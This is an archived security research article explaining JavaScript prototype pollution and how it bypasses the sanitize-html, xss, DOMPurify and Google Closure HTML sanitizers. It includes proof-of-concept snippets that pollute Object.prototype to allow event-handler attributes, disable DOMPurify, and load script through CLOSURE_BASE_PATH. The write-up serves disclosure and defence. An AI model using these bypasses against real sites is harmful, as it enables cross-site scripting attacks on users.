

Securitum. Leading european penetration testing company

Securitum. Leading european penetration testing company - Author not stated, securitum.com.

- Published: date not stated
- Original: <<https://www.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers.html>>
- Preserved from: <https://www.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers.html> (live) on 2026-08-09
- Licence: unknown

Rights remain with the original author and publisher. This is a research archive of a source from the Web Hacking Techniques Index collections, kept so the page going offline. To read the original, follow the link above.

Content

UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

Securitum. Leading european penetration testing company

!

Insights

Prototype pollution – and bypassing client-side HTML sanitizers

!

Michał Bentkowski

August 18, 2020

In this article I'll cover the prototype pollution vulnerability and show it can be used to bypass client-side HTML sanitizers. I'm also considering various ways to find exploitation of prototype pollution via semi-automatic methods. It could also be a big help in solving [my XSS challenge](#).

Prototype pollution basics

Prototype pollution is a security vulnerability, quite specific to JavaScript. It stems from JavaScript inheritance model called **prototype-based inheritance**. Unlike in C++ or Java, in JavaScript you don't need to define a class to create an object. You just need to use the curly bracket notation and define properties, for example:

```
const obj = {
  prop1: 111,
  prop2: 222,
}
```

This object has two properties: `prop1` and `prop2`. But these are not the only properties we can access. For example a call to `obj.toString()` would return `"[object Object]"`. `toString` (along with some other default members) comes from the **prototype**. Every object in JavaScript has a prototype (it can also be `null`). If we don't specify it, by default the prototype for an object is `Object.prototype`.

In DevTools, we can easily check a list of properties of `Object.prototype`:

!

We can also find out what object is a prototype of a given object, by checking its `__proto__` member or by calling `Object.getPrototypeOf`:

!

Similarly, we can set the prototype of the object using `__proto__` or `Object.setPrototypeOf`:

!

In a nutshell, when we try to access a property of an object, JS engine first checks if the object itself contains the property. If it does, then it is returned. Otherwise, JS checks if the prototype has the property. If it doesn't, JS checks the prototype of the prototype... and so on, until the prototype is `null`. It's called the **prototype chain**.

The fact that JS traverses the prototype chain has an important effect: if we could somehow **pollute the `Object.prototype`** (that is, extend it with new properties), then all JS objects would have these properties.

Consider the following example:

```
const user = { userid: 123 };
if (user.admin) {
  console.log('You are an admin');
}
```

At the first sight, it may seem that it's not possible to make the if-condition true as `user` object doesn't have a property called `admin`. However, if we pollute the `Object.prototype` and define property called `admin`, then the `console.log` will execute!

```
Object.prototype.admin = true;
const user = { userid: 123 };
if (user.admin) {
  console.log('You are an admin'); // this will execute
}
```

This proves that prototype pollution may have a huge impact on security of applications as we can define properties that would change their logic. There are only a few known cases of abusing the vulnerability though (please let me know if you know more!):

[Olivier Artreau](#) exploited it to gain [RCE in Ghost CMS](#), I exploited it to gain [RCE in Kibana](#), POSIX has shown that RCE via prototype pollution is possible in [ejs](#), as well as in [pug](#) and [handlebars](#).

Before going to the main point of this article, I need to cover one more topic: how the prototype pollution may occur in the first place?

The entry point of this vulnerability is usually the merge operation (that is copying all properties from one object to the other object). For instance:

```
const obj1 = { a: 1, b: 2 };
const obj2 = { c: 3, d: 4 };
merge(obj1, obj2) // returns { a: 1, b: 2, c: 3, d: 4 }
```

Sometimes the operation work recursively, for instance:

```
const obj1 = {
  a: {
    b: 1,
    c: 2,
  }
};
const obj2 = {
  a: {
    d: 3
  }
};
recursiveMerge(obj1, obj2); // returns { a: { b: 1, c: 2, d: 3 } }
```

The basic flow of recursive merge is:

Iterate over all properties of `obj2` and check if they exist in `obj1`. If a property exists, then perform a merge operation on this property. If a property doesn't exist, then copy it from `obj2` to `obj1`.

In the real world, if user has any control of objects being merged, then usually one of the objects come from the output of `JSON.parse`. And `JSON.parse` is a little bit special because it treats `__proto__` as a "normal" property, i.e. without its special meaning of being a prototype accessor. Consider the following example:

!

In the example, `obj1` was created using the curly bracket notation of JS, while `obj2` is created with `JSON.parse`. Both objects have only one property defined, called `__proto__`. However, accessing `obj1.__proto__` returns `Object.prototype` (so `__proto__` is the special property that returns the prototype), while `obj2.__proto__` contains the value given in the JSON, namely: `123`. This proves that `__proto__` property is treated differently in `JSON.parse` than in ordinary JavaScript.

So now imagine a `recursiveMerge` function that merges two objects:

```
obj1={} obj2=JSON.parse('{"__proto__":{"x":1}}')
```

The function would work more or less like the following steps:

```
Iterate over all properties in obj2. The only property is __proto__. Check if obj1.__proto__ exists.
It does. Iterate over all properties in obj2.__proto__. The only property is x. Assign:
obj1.__proto__.x = obj2.__proto__.x. Because obj1.__proto__ points to Object.prototype, then the
prototype is polluted.
```

This type of bug was identified in many popular JS libraries, including [lodash](#) or [jQuery](#).

Prototype pollution and HTML sanitizers

Now we know what prototype pollution is and how a merge operation can introduce the vulnerability. As I mentioned earlier, all publicized examples of exploiting prototype pollution focused on NodeJS, where the goal was to achieve Remote Code Execution. However, client-side JavaScript can also be affected by the vulnerability. So the question I asked myself was: what can attackers gain from prototype pollution in the browser's world?

I focused my attention on HTML sanitizers. HTML sanitizers are libraries whose job is to take an untrusted HTML markup, and delete all tags or attributes that could introduce an XSS attack. Usually they're based on allow-lists; that is, they have a list of tags and attributes that are allowed, and all other ones are deleted.

Imagine that we have a sanitizer that allows only `<b>` and `<h1>` tags. If we fed it with the following markup:

```
<h1>Header</h1>This is <b>some</b> <i>HTML</i><script>alert(1)</script>
```

It should clean it to the following form:

```
<h1>Header</h1>This is <b>some</b> HTML
```

HTML sanitizers need to maintain the list of allowed elements attributes and elements. Basically, libraries usually employ one of two ways to store the list:

1. In an array

The library might have an array with a list of allowed elements, for instance:

```
const ALLOWED_ELEMENTS = ["h1", "i", "b", "div"]
```

Then to check if some element is allowed, they simply call `ALLOWED_ELEMENTS.includes(element)`. This approach makes it safe from prototype pollution as we cannot extend an array; that is, we can't pollute the `length` property, nor the indexes that already exist.

For instance, even if we do:

```
Object.prototype.length = 10;
Object.prototype[0] = 'test';
```

Then `ALLOWED_ELEMENTS.length` still returns `4` and `ALLOWED_ELEMENTS[0]` is still `"h1"`.

2. In an object

The other solution is to store an object with allowed elements, for instance:

```
const ALLOWED_ELEMENTS = {
  "h1": true,
  "i": true,
  "b": true,
  "div": true
}
```

Then to check if some elements is allowed, the library may check for existence of `ALLOWED_ELEMENTS[element]`. This approach is easily exploitable via prototype pollution; since if we pollute the prototype the following way:

```
Object.prototype.SCRIPT = true;
```

Then `ALLOWED_ELEMENTS["SCRIPT"]` returns `true`.

List of analyzed sanitizers

I searched for HTML sanitizers in npm and found three most popular ones:

[sanitize-html](#) with around 800k downloads per week [xss](#) with around 770k downloads per week [dompurify](#) with around 544k downloads per week

I also included [google-closure-library](#), which isn't very popular in npm, but is extremely commonly used in Google applications. And Google is my favourite bug bounty program so it was worth looking into.

In the next chapters I'll give a short overview of all the sanitizers, and show how all of them can be bypassed with prototype pollution. I'll assume that the prototype is polluted before the library is even loaded. I will also assume that all sanitizers are used in the default configuration.

sanitize-html

The invocation of `sanitize-html` is simple:

!

Optionally, you can pass second parameter to `sanitizeHtml` with options. But if you don't, then default options are used:

```
sanitizeHtml.defaults = {
  allowedTags: ['h3', 'h4', 'h5', 'h6', 'blockquote', 'p', 'a', 'ul', 'ol',
    'nl', 'li', 'b', 'i', 'strong', 'em', 'strike', 'abbr', 'code', 'hr', 'br', 'div',
    'table', 'thead', 'caption', 'tbody', 'tr', 'th', 'td', 'pre', 'iframe'],
  disallowedTagsMode: 'discard',
  allowedAttributes: {
    a: ['href', 'name', 'target'],
    // We don't currently allow img itself by default, but this
    // would make sense if we did. You could add srcset here,
    // and if you do the URL is checked for safety
    img: ['src']
  },
  // Lots of these won't come up by default because we don't allow them
  selfClosing: ['img', 'br', 'hr', 'area', 'base', 'basefont', 'input', 'link', 'meta'],
  // URL schemes we permit
  allowedSchemes: ['http', 'https', 'ftp', 'mailto'],
  allowedSchemesByTag: {},
  allowedSchemesAppliedToAttributes: ['href', 'src', 'cite'],
  allowProtocolRelative: true,
  enforceHtmlBoundary: false
};
```

`allowedTags` property is an array, which means we cannot use it in prototype pollution. It's worth noticing, though, that `iframe` is allowed.

Moving forward, `allowedAttributes` is a map, which gives an idea that adding property `iframe: ['onload']` should make it possible to perform XSS via `<iframe >`.

Internally, `allowedAttributes` are rewritten to a variable `allowedAttributesMap`. And here's the logic that decides whether an attribute should be allowed or not (`name` is the name of the current tag, and `a` is the name of the attribute):

```
// check allowedAttributesMap for the element and attribute and modify the value
// as necessary if there are specific values defined.
var passedAllowedAttributesMapCheck = false;
if (!allowedAttributesMap ||
  (has(allowedAttributesMap, name) && allowedAttributesMap[name].indexOf(a) !== -1) ||
  (allowedAttributesMap['*'] && allowedAttributesMap['*'].indexOf(a) !== -1) ||
  (has(allowedAttributesGlobMap, name) && allowedAttributesGlobMap[name].test(a)) ||
  (allowedAttributesGlobMap['*'] && allowedAttributesGlobMap['*'].test(a))) {
  passedAllowedAttributesMapCheck = true;
```

We will focus on checks on `allowedAttributesMap`. In a nutshell, it is checked whether the attribute is allowed for current tag or for all tags (when the wildcard `'*'` is used). Quite interestingly, `sanitize-html` has some sort of protection against prototype pollution:

```
// Avoid false positives with .__proto__, .hasOwnProperty, etc.
function has(obj, key) {
  return ({}).hasOwnProperty.call(obj, key);
}
```

`hasOwnProperty` checks whether an object has a property but it doesn't traverse the prototype chain. This means that all calls to `has` function are not susceptible to prototype pollution. However, `has` is not used for wildcard!

```
(allowedAttributesMap['*'] && allowedAttributesMap['*'].indexOf(a) !== -1)
```

So if I pollute the prototype with:

```
Object.prototype['*'] = ['onload']
```

Then `onload` will be a valid attribute to any tag, which is proven below:

!

XSS

Invocation of the next library, `xss`, looks quite similar:

!

It also can optionally accept a second parameter, called `options`. And the way it is processed is the most prototype-pollution-friendly pattern you could spot in JS code:

```
options.whiteList = options.whiteList || DEFAULT.whiteList;
options.onTag = options.onTag || DEFAULT.onTag;
options.onTagAttr = options.onTagAttr || DEFAULT.onTagAttr;
options.onIgnoreTag = options.onIgnoreTag || DEFAULT.onIgnoreTag;
options.onIgnoreTagAttr = options.onIgnoreTagAttr || DEFAULT.onIgnoreTagAttr;
options.safeAttrValue = options.safeAttrValue || DEFAULT.safeAttrValue;
options.escapeHtml = options.escapeHtml || DEFAULT.escapeHtml;
```

All these properties in form `options.propertyName` can be polluted. The obvious candidate is `whiteList`, which follows the following format:

```
a: ["target", "href", "title"],
  abbr: ["title"],
  address: [],
  area: ["shape", "coords", "href", "alt"],
  article: [],
```

So the idea is to define my own whitelist, accepting `img` tag with `onerror` and `src` attributes:

!

dompurify

Similarly to previous sanitizers, basic usage of DOMPurify is quite simple:

!

DOMPurify also accepts a second parameter with configuration. Here also comes a pattern that make it vulnerable to prototype pollution:

```
/* Set configuration parameters */
ALLOWED_TAGS = 'ALLOWED_TAGS' in cfg ? addToSet({}, cfg.ALLOWED_TAGS) : DEFAULT_ALLOWED_TAGS
ALLOWED_ATTR = 'ALLOWED_ATTR' in cfg ? addToSet({}, cfg.ALLOWED_ATTR) : DEFAULT_ALLOWED_ATTR
```

In JavaScript `in` operator traverses the prototype chain. Hence `'ALLOWED_ATTR' in cfg` returns true if this property exists in the `Object.prototype`.

DOMPurify by default allows `<img>` tag, so the exploit requires only polluting `ALLOWED_ATTR` with `onerror` and `src`.

!

Interestingly, Cure53 released [a new version of DOMPurify](#) that attempts to protect against this very attack. If you think you can bypass the fix, have a look at an [updated version of my challenge](#).

Closure

Closure Sanitizer has a file called [attributewhitelist.js](#) which follows the following format:

```
goog.html.sanitizer.AttributeWhitelist = {
  '* ARIA-CHECKED': true,
  '* ARIA-COLCOUNT': true,
  '* ARIA-COLINDEX': true,
  '* ARIA-CONTROLS': true,
  '* ARIA-DESCRIBEDBY': true,
  ...
}
```

In this file a list of allowed attributes are defined. It follows the format `"TAG_NAME ATTRIBUTE_NAME"`, where `TAG_NAME` could also be a wildcard (`"*"`). So a bypass is as simple as

polluting the prototype to allow `onerror` and `src` on all elements.

The code below proves the bypass:

```
<script>
    Object.prototype['* ONERROR'] = 1;
    Object.prototype['* SRC'] = 1;
</script>
<script src=https://google.github.io/closure-library/source/closure/goog/base.js></script>
<script>
    goog.require('goog.html.sanitizer.HtmlSanitizer');
    goog.require('goog.dom');
</script>
<body>
<script>
    const html = '<img src
    const sanitizer = new goog.html.sanitizer.HtmlSanitizer();
    const sanitized = sanitizer.sanitize(html);
    const node = goog.dom.safeHtmlToNode(sanitized);

    document.body.append(node);
</script>
```

!

Identifying prototype pollution gadgets

I've shown above that prototype pollution can be a way to bypass all popular JS sanitizers. To find the bypasses, I needed to analyze the sources manually. Even though all bypasses are quite similar, it still required some effort to perform the analysis. So a natural next step is to think about a way to make the process more automatic.

My first idea was to use a regular expression to scan for all possible identifiers in the source code of a library, and then add this properties to `Object.prototype`. If any property is being accessed, then I know that it could be manipulated via prototype pollution.

Here's an example, we have the following snippet taken from `DOMPurify`:

```
if (cfg.ADD_ATTR) {
    if (ALLOWED_ATTR === DEFAULT_ALLOWED_ATTR) {
        ALLOWED_ATTR = clone(ALLOWED_ATTR);
    }
}
```

We can extract the following possible identifiers from the snippet (assuming that identifier is `\w+`):

```
["if", "cfg", "ADD_ATTR", "ALLOWED_ATTR", "DEFAULT_ALLOWED_ATTR", "clone"]
```

Now I'm defining all these properties in Object.prototype, for instance:

```
Object.defineProperty(Object.prototype, 'ALLOWED_ATTR', {
  get() {
    console.log('Possible prototype pollution for ALLOWED_ATTR');
    console.trace();
    return this['$__ALLOWED_ATTR'];
  },
  set(val) {
    this['$__ALLOWED_ATTR'] = val;
  }
});
```

This method works but have some serious drawbacks:

It won't work for computed property names (so I wouldn't find anything for Closure for instance), It messes up checking if property exists: `ALLOWED_ATTR in obj` would return `true` which is undesirable.

So I came up with second idea; by definition I have access to source code of the library I'm trying to attack with prototype pollution. So I can use code instrumentation to change all property accesses to my own function, which would check if the property would reach the prototype.

Example: I have the following line taken from DOMPurify:

```
if (cfg.ADD_ATTR)
```

It would get transformed to:

```
if ($_GET_PROP(cfg, 'ADD_ATTR'))
```

Where `$_GET_PROP` is defined as:

```
window.$_SHOULD_LOG = true;
window.$_IGNORED_PROPS = new Set([]);
function $_GET_PROP(obj, prop) {
  if (window.$_SHOULD_LOG && !window.$_IGNORED_PROPS.has(prop) && obj instanceof Object && ty
    console.group(`obj[${JSON.stringify(prop)}]`);
    console.trace();
    console.groupEnd();
  }
  return obj[prop];
}
```

Basically, all property accesses are converted to calls to `$_GET_PROP` which prints an information in the console when a property would be read from `Object.prototype`.

I created a tool to do the instrumentation that I'm also [sharing on GitHub](#). Here's how it looks like:

Thanks to this method I could spot two more instances of abusing prototype pollution to bypass sanitizers. Let's see what was being logged when I run DOMPurify:

!

That's something I missed in the first place. Let's take a look at the line where `documentMode` is being accessed:

```
DOMPurify.isSupported = implementation && typeof implementation.createHTMLDocument !== 'undefined' && doc
```

So DOMPurify checks whether current browser is modern enough to even work with DOMPurify. If `isSupported` is equal to `false`, then **DOMPurify performs no sanitization whatsoever**. This means that we can pollute the prototype and set `Object.prototype.documentMode = 9` to make this happen. The snippet below proves it:

```
const DOMPURIFY_URL = 'https://raw.githubusercontent.com/cure53/DOMPurify/2.0.12/dist/purify.js';
(async () => {
  Object.prototype.documentMode = 9;

  const js = await (await fetch(DOMPURIFY_URL)).text();
  eval(js);

  console.log(DOMPurify.sanitize('<img src
  // Logs: "<img src i.e. unsanitized HTML
})();
```

The downside is that the prototype needs to be polluted before DOMPurify is even loaded.

Let's now have a look at Closure. First of all, it is now very easy to see that Closure attempts to check whether attributes are in an allow-list:

!

Second of all, I noticed an interestingly looking property:

!

Closure loads lots of JS files with dependencies. `CLOSURE_BASE_PATH` defines the path. So we can pollute the property to load our own JS from any path. The sanitizer doesn't even need to be called!

Here's a proof:

```
<script>
    Object.prototype.CLOSURE_BASE_PATH = 'data:alert(1)//';
</script>
<script src=https://google.github.io/closure-library/source/closure/goog/base.js></script>
<script>
    goog.require('goog.html.sanitizer.HtmlSanitizer');
    goog.require('goog.dom');
</script>
```

I believe that thanks to [pollute.js](#), even more exploitation scenarios could be found

Summary

The conclusion is that prototype pollution can lead to bypass of all popular HTML sanitizers. It can usually be done by affecting the allow-list of elements or attributes.

As a final note, if you ever find a prototype pollution in Google Search, then you have XSS in the search field!

Other Insights

!

Helping secure DOMPurify

MICHAŁ BENTKOWSKI

December 21, 2020

Within last year I shared a few writeups of my bypasses of HTML sanitizers, including: > Write-up of DOMPurify 2.0.0 bypass using mutation XSS > Mutation XSS via namespace confusion – DOMPurify < 2.0.17 bypass While breaking sanitizers is fun and I thoroughly enjoy doing it, I reached a point where I began to think whether I can contribute even more and propose a fix that will kill an entire class of bypasses.

[READ pentest chronicle](#)

!

PyScript - or rather Python in your browser + what can be done with it

Michał Bentkowski

September 10, 2022

A few days ago, the Anaconda project announced the PyScript framework, which allows Python code to be executed directly in the browser. Additionally, it also covers its integration with HTML and JS code. An execution of the Python code in the browser is not new; the pyodide project has allowed this for a long time...

[READ pentest chronicle](#)

!

Art of bug bounty a way from JS file analysis to XSS

jAKUB ŻOCZEK

July 1, 2020

Summary: During my research on other bug bounty program I've found Cross-Site Scripting vulnerability in cmp3p.js file, which allows attacker to execute arbitrary javascript code in context of domain that include mentioned script. Below you can find the way of finding bug bounty vulnerabilities from the beginning to the ...

[READ pentest chronicle](#)

!

Any questions?

Happy to get a call or email

and help!

[CONTACT US !](#)

!

[### Services](#)

[### Pricing](#)

[### Resources](#)

[### Company](#)

[### Partnership](#)

[Terms and conditions](#)

Archived from <https://www.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers.html>. Rendered offline from the local Markdown copy.